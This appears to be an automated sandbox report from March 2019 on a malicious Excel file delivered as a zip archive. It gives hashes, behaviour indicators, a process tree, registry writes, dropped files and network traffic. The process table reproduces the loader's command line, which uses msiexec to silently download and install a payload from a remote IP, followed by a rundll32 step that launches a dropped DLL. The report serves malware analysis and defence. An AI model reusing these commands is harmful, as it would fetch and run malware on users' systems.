| File name: | 19d278bfbe851f8d7599e9e682ccc0f77619b905.xls.tar.gz |
| Full analysis: | https://app.any.run/tasks/82aa16bb-f329-461d-9541-697ed71d270d |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | March 21, 2019, 16:58:25 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | 06B5CAAE5C407F63DDD1DE60F7407313 |
| SHA1: | BAF891F49CD28818571A12072382883E330414DD |
| SHA256: | 9E10CBF641E1F29AAD95A01057ABB622F15F2917DDB948420BD863FAFEB914CD |
| SSDEEP: | 1536:mLSNIRUS1+WcUvYIt646snCPElk/l3kw7afx/5cMX3R5:hNB2+4Y0Hzgk9fQMx5 |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2812)
Uses Microsoft Installer as loader
- EXCEL.EXE (PID: 2812)
Downloads executable files from the Internet
- msiexec.exe (PID: 2932)
Downloads executable files from IP
- msiexec.exe (PID: 2932)
Loads dropped or rewritten executable
- rundll32.exe (PID: 2100)
Application was dropped or rewritten from another process
- ns4F0F.tmp (PID: 2996)
SUSPICIOUS
Drop ExeToMSI Application
- msiexec.exe (PID: 2932)
Executable content was dropped or overwritten
- msiexec.exe (PID: 2932)
- MSI4E44.tmp (PID: 2036)
Starts Microsoft Office Application
- rundll32.exe (PID: 1896)
Uses RUNDLL32.EXE to load library
- WinRAR.exe (PID: 572)
- cmd.exe (PID: 3996)
Starts application with an unusual extension
- MSI4E44.tmp (PID: 2036)
Starts CMD.EXE for commands execution
- ns4F0F.tmp (PID: 2996)
INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2812)
Modifies the open verb of a shell class
- rundll32.exe (PID: 1896)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 2932)
Starts application with an unusual extension
- msiexec.exe (PID: 2932)
Application was dropped or rewritten from another process
- MSI4E44.tmp (PID: 2036)
Loads dropped or rewritten executable
- MSI4E44.tmp (PID: 2036)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0801 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2019:03:21 10:17:08 |
| ZipCRC: | 0xd1bf39e8 |
| ZipCompressedSize: | 61457 |
| ZipUncompressedSize: | 91136 |
| ZipFileName: | 19d278bfbe851f8d7599e9e682ccc0f77619b905 |
Total processes
40
Monitored processes
9
Malicious processes
5
Suspicious processes
4
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 572 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\19d278bfbe851f8d7599e9e682ccc0f77619b905.xls.tar.gz" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 1548 | msiexec.exe RETURN=185 /i http://169.239.128.104/alg /q ksw='%TEMP%' | C:\Windows\system32\msiexec.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1896 | "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\Rar$DIb572.3067\19d278bfbe851f8d7599e9e682ccc0f77619b905 | C:\Windows\system32\rundll32.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2036 | "C:\Windows\Installer\MSI4E44.tmp" | C:\Windows\Installer\MSI4E44.tmp | msiexec.exe | ||||||||||||
User: admin Company: hepsu burda Integrity Level: MEDIUM Description: hepsu burda Application Exit code: 0 Version: 1.0.2.1 Modules
| |||||||||||||||
| 2100 | rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, sega | C:\Windows\system32\rundll32.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2812 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" "C:\Users\admin\AppData\Local\Temp\Rar$DIb572.3067\19d278bfbe851f8d7599e9e682ccc0f77619b905" | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2932 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2996 | "C:\Users\admin\AppData\Local\Temp\nso4EFE.tmp\ns4F0F.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, sega | C:\Users\admin\AppData\Local\Temp\nso4EFE.tmp\ns4F0F.tmp | — | MSI4E44.tmp | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3996 | "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, sega | C:\Windows\system32\cmd.exe | — | ns4F0F.tmp | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
2 140
Read events
1 877
Write events
255
Delete events
8
Modification events
| (PID) Process: | (572) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (572) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (572) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (572) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\19d278bfbe851f8d7599e9e682ccc0f77619b905.xls.tar.gz | |||
| (PID) Process: | (572) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (572) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (572) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (572) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (572) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
| (PID) Process: | (572) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
6
Suspicious files
3
Text files
10
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2812 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR997.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2932 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF0FFFA6F6032878F6.TMP | — | |
MD5:— | SHA256:— | |||
| 2932 | msiexec.exe | C:\Windows\Installer\MSI4AC6.tmp | executable | |
MD5:— | SHA256:— | |||
| 572 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIb572.3067\19d278bfbe851f8d7599e9e682ccc0f77619b905 | document | |
MD5:— | SHA256:— | |||
| 2932 | msiexec.exe | C:\Windows\Installer\104d38.ipi | binary | |
MD5:— | SHA256:— | |||
| 2932 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat | dat | |
MD5:— | SHA256:— | |||
| 2932 | msiexec.exe | C:\Windows\Installer\MSI4D96.tmp | binary | |
MD5:— | SHA256:— | |||
| 2036 | MSI4E44.tmp | C:\Users\admin\AppData\Local\Temp\2.lnk | lnk | |
MD5:— | SHA256:— | |||
| 2036 | MSI4E44.tmp | C:\Users\admin\AppData\Local\Temp\nso4EFE.tmp\ns4F0F.tmp | executable | |
MD5:— | SHA256:— | |||
| 2932 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\KX267L32\desktop.ini | ini | |
MD5:4A3DEB274BB5F0212C2419D3D8D08612 | SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
0
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2932 | msiexec.exe | GET | 200 | 169.239.128.104:80 | http://169.239.128.104/alg | ZA | executable | 396 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2932 | msiexec.exe | 169.239.128.104:80 | — | Zappie Host LLC | ZA | suspicious |
DNS requests
Threats
PID | Process | Class | Message |
|---|---|---|---|
2932 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |
2932 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
1 ETPRO signatures available at the full report